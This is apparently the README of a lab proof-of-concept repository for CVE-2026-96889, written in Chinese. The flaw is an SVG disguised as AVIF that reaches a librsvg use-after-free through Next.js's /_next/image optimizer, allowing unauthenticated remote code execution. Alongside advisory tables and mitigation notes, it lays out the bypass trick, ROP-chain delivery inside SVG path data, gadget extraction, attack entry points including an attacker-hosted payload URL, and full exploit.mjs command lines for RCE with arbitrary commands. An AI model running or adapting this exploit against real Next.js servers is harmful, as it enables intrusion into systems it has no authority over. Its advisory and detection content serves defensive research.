CVE-2026-96889 的实验室 PoC:Next.js 图像优化中将 SVG 类型声明为 AVIF,触发 librsvg 释放后使用(UAF)漏洞(RUSTSEC-2026-0305)。在 glibc Linux 上可实现未认证远程代码执行(RCE)。
针对 glibc Linux 上通过 Next.js /_next/image 实现未认证 RCE(或 DoS)的实验室概念验证。仅对您拥有的系统运行。
以 <!--ftypavif--> 开头的文档是合法的 SVG,但 Next 的魔数嗅探器将其类型识别为 image/avif。AVIF 不在 BYPASS_TYPES 中,因此缓冲区会到达 sharp → libvips → librsvg。随后 librsvg 释放了一个 libxml2 仍在使用中的 xmlEntity(RUSTSEC-2026-0305)。
可用于官方非 PIE node v24.20.0 和 v22.23.3 上的 RCE(相同链条,不同地址)。node v20.20.2 仅可 DoS(SIGSEGV)。sharp 0.35.5(librsvg 2.63.2)不受影响。
| GHSA | GHSA-2464-fhr4-w9xw |
| CVE | CVE-2026-96889 |
| 严重性 | 严重,CVSS 9.5 |
| 受影响 | next >= 10.0.0 <= 15.5.27、> 16.0.0 <= 16.4.0 |
| 已修复 | next 15.5.28 / 16.4.1(固定 sharp >= 0.35.5) |
| 平台 | glibc Linux |
| 缓解措施 | sharp >= 0.35.5。images.unoptimized: true 也会移除攻击面。 |
16.4.1 / 15.5.28 补丁不会改变内容类型嗅探。升级了 Next 但将 sharp 留在 0.35.4 的部署仍然存在漏洞。请检查解码器(sharp.versions / /sharpinfo),而不是 Next 版本字符串。
支持指厂商公告:next >= 10.0.0 <= 15.5.27 和 > 16.0.0 <= 16.4.0,glibc Linux,sharp < 0.35.5。已测试指本仓库实际运行过的内容。
| 版本 | 本实验室 | |
|---|---|---|
| next | 16.4.0 + sharp 0.35.4 | UAF 探测 + RCE(app/) |
| next | 15.5.27 + sharp 0.35.4 | 相同的 rce.svg,无填充变化(app15/) |
| next | 16.4.1 + sharp 0.35.5 | 已修复(载荷被光栅化) |
| next | 16.4.1 + sharp 0.35.4 | 再次存在漏洞(嗅探未改变) |
| next | 15.5.28(原版) | 厂商固定 sharp >= 0.35.5;已修补的 HTTP 运行是 16.4.1 |
| next | 10.0.0 – 15.5.26 | 公告范围,未重新运行 |
| sharp | 0.35.4 → libvips 8.18.6 / librsvg 2.62.91 | 触发(harness/vuln) |
| sharp | 0.35.5 → libvips 8.18.7 / librsvg 2.63.2 | 干净(harness/fixed) |
| node | 官方 linux-x64 v24.20.0(非 PIE EXEC) | RCE |
| node | 官方 linux-x64 v22.23.3 | RCE(相同链条,不同地址) |
| node | 官方 linux-x64 v20.20.2 | DoS(SIGSEGV) |
| OS | glibc x86-64 Linux | 随附 ROP 表所必需 |
PIE / musl / 自构建的 node 二进制不在随附表范围内;请使用 harness/find-gadgets.py 提取地址。15.x 还需要一个报告 heif(canDecodeAvif)的 sharp 构建;本实验室的 0.35.4 报告 heif 1.23.2。
| 库 | librsvg(Rust,静态链接进 libvips),不是 sharp,也不是 Next |
| Sharp 公告 | GHSA-wq5f-xc86-pv6w(sharp < 0.35.5) |
| RustSec | RUSTSEC-2026-0305,Use-after-free when XML includes have duplicated entities |
| 修复 | librsvg 2.63.2(8a1b0cd3 — “不再释放仍由 libxml2 拥有的 xmlEntity 指针”) |
| 此处使用的版本 | sharp 0.35.4 → libvips 8.18.6 / librsvg 2.62.91(存在漏洞);sharp 0.35.5 → libvips 8.18.7 / librsvg 2.63.2(已修复) |
机制:递归 XInclude。内部文档重新声明了一个已存在的实体名称。librsvg 和 libxml2 共享同一个实体映射;entity_insert() 释放了 xmlCtxtParseEntity() 仍在使用的那个外部 xmlEntity。
N ≤ 4 个重名对在两个构建上都会光栅化;N ≥ 5 时它们会分裂。存在漏洞的构建会以 PCDATA invalid Char value 0 失败。
.svg 永远不会触发此 CVEnext/dist/server/image-optimizer/transform.js:
const BYPASS_TYPES = [SVG, ICO, ICNS, BMP, JXL, HEIC]
if (BYPASS_TYPES.includes(upstreamType)) {
return { buffer: upstreamBuffer, ... }
}
/_next/image?url=/x.svg 被原样复制回去。sharp 从未被调用。
detect-content-type.js 中的 AVIF 检测逻辑为:
if ([0,0,0,0,'f','t','y','p','a','v','i','f'].every((b,i)=>!b || buffer[i]===b))
return _imagetype.AVIF
前四个字节是通配符。第 4..11 字节可以放在 XML 注释中:
<!--ftypavif--><svg ...>
然后:
image/avif → 不在 BYPASS_TYPES 中 → sharp → librsvgimage/svg* → 从不检查 dangerouslyAllowSVG(默认配置即可生效)<?xml …?> 声明:如果它不在字节 0 处,librsvg 会报错
XML declaration allowed only at the start of the documentAVIF 是唯一一个“以 <!-- 开头”和“到达 sharp”同时成立的魔数检查。HEIC 有相同的通配符,但它在 BYPASS_TYPES 中。
imageOptimizerTransform() 会捕获优化器失败,并返回带有上游类型的上游缓冲区,HTTP 状态仍为 200。不要看状态码。
| 文件 | sharp 0.35.4 | sharp 0.35.5 |
|---|---|---|
avif-control.svg(有效 SVG,无实体) | 200 image/jpeg | 200 image/jpeg |
avif-uaf-5.svg(5 对) | 200 image/avif — 响应体就是载荷本身 | 200 image/jpeg |
plain-baseline.svg(真实 SVG) | 400(dangerouslyAllowSVG: false) | 400 |
存在漏洞时:响应体以 <!--ftypavif--> 开头。光栅图像永远不会这样。
对照组也必须被光栅化:当 sharp 未安装时,同样的捕获也会触发,因此仅凭文本回退是有歧义的。
按此顺序获取:存活探测 → 载荷 → 对照组。对照组本身也是一次 SVG 解析并会移动堆,所以放在最后。
优化器按 url+w+q 在磁盘上缓存光栅图像。某个键成功一次后,后续请求就再也不会到达 librsvg。q 被限制为 images.qualities(默认:75)。用 --w 强制冷获取,它必须是 images.imageSizes / deviceSizes 之一。
针对此 librsvg UAF 的公开 PoC(EQSTLab CVE-2026-94545
及其他)针对 next/og(ImageResponse)。exploit.mjs 使用相同的内部文档和填充,外层包装为 <!--ftypavif--> +
<xi:include>,使字节到达 /_next/image。
| 前提条件 | 非 PIE 的 node 二进制(官方 linux-x64 tarball 为 Type: EXEC)、glibc、x86-64 Linux。无需泄漏——地址是编译期常量 |
| Gadget | 来自官方 node v24.20.0 / v22.23.3。exploit.mjs 中内置了表;可用 harness/find-gadgets.py 提取更多 |
| 载体 | ROP 链(≤ 60 个 qword)以最短的 IEEE-754 十进制文本形式放在 <path d="…"> 内。8 字节 ↔ double ↔ 文本是无损的 |
| 命令长度 | ≤ 71 字节 |
| 验证 | 带外验证。execve 替换了 worker;stdout 永远不会在 HTTP 响应中返回。连接会断开 |
| node | sharp / librsvg | 结果 |
|---|---|---|
| 24.20.0 | 0.35.4 / 2.62.91 | RCE |
| 22.23.3 | 0.35.4 / 2.62.91 | RCE(相同链形状,不同地址) |
| 20.20.2 | 0.35.4 / 2.62.91 | DoS(SIGSEGV)。调用槽未落在链上 |
| 24.20.0 | 0.35.5 / 2.63.2 | 被光栅化,进程存活 |
不带 --table 时,exploit.mjs 会依次尝试 24 → 22 → 20,并在每次尝试之间等待 --restart-wait(默认 25 秒),以便主机恢复 worker。
同一个载荷文件在 Next 16.4.0 和 15.5.27 上无需更改填充即可使用。16.4.1 + sharp 0.35.5 已修复;16.4.1 将 sharp 换回 0.35.4 后又可再次利用。
命令字节会移动缓冲区内的 ROP double。如果某个 --command 只会导致崩溃,请更改拼写(> 周围的空格是免费的)或 --pad,并在 worker 重启后重试。未命中即为 SIGSEGV。
载荷无法通过 URL 传递(data: 被拒绝;url 上限为 3072 字符)。目标必须能够获取该文件。
| 条目 | 载荷位置 | 前提条件 |
|---|---|---|
/_next/image?url=%2Frce.svg&w=64&q=75 | 在目标上(上传 / 静态资源) | 无。默认配置 |
/_next/image?url=http://attacker/p.svg&w=64&q=75 | 攻击者 HTTP 服务器 | images.remotePatterns(或 domains)允许该主机。私有 IP 主机还需要 dangerouslyAllowLocalIP |
POST /api/og(next/og ImageResponse,node 运行时) | 请求体 / 查询参数,拼接进 SVG | 应用存在此类路由。实验环境:EQSTLab/CVE-2026-94545 |
被拒绝(HTTP 400,并非崩溃——不要把这些当作“已修补”):
| 形式 | 原因 |
|---|---|
url=data:image/svg+xml;base64,… | 协议允许列表为 http: / https: |
url=//host/p.svg | 协议相对 URL 被拒绝 |
绝对 URL,remotePatterns 为空 | hasRemoteMatch 拒绝 |
| 指向私有 IP 的绝对 URL | SSRF 防护 |
带查询参数的本地路径(/rce.svg?v=1) | localPatterns 默认 search 为 "" |
上游 Content-Type 无关紧要。由 detectContentType(buffer) 决定
走哪个分支。
next/og 不需要 AVIF 伪装:ImageResponse(node 运行时)调用
sharp(svgText),既没有 BYPASS_TYPES,也没有 dangerouslyAllowSVG 检查。
edge 运行时使用 resvg-wasm,而非原生 librsvg。
# Differential (no HTTP): vulnerable sharp fails, fixed sharp rasterizes
node harness/gen-payloads.mjs
node harness/probe.mjs --reps 3 --expect-fire # exit 1 = no split
# Lab app (next 16.4.0 + sharp 0.35.4)
cd app && npm install && npm run build && PORT=3004 npm run start
# Probe
node exploit.mjs --base http://127.0.0.1:3004 \
--path /avif-uaf-5.svg --control /avif-control.svg # exit 0 = vulnerable
# RCE — needs a non-PIE node. Command output is out of band.
# --table is required for the filename rce.svg; omit it and you get rce.v24.20.0.svg etc.
node exploit.mjs --rce --write rce.svg --command 'id > /tmp/img-rce.txt' --table v24.20.0
node exploit.mjs --base http://127.0.0.1:3004 --rce --path /rce.svg \
--control /avif-control.svg
# Another node build
python3 -I harness/find-gadgets.py --node /path/to/node --version v22.23.3 --out g22.json
node exploit.mjs --base http://127.0.0.1:3004 --rce --gadgets g22.json --path /rce.svg
# Cold-cache matrix
NODE=$(command -v node) SHARP=0.35.4 REPS=3 sh repro.sh
# 15.5.27 line — reuse app/public/rce.svg, do not retune padding
cd app15 && npm install && npm run build && PORT=3006 npm run start
node exploit.mjs --base http://127.0.0.1:3006 --rce --path /rce.svg \
--control /avif-control.svg
exploit.mjs 标志:--base、--path / --url / --upload / --serve、
--rce、--command、--pad、--write、--attempts、--control、
--liveness、--table / --tables / --gadgets、--slack、--sled、
--restart-wait。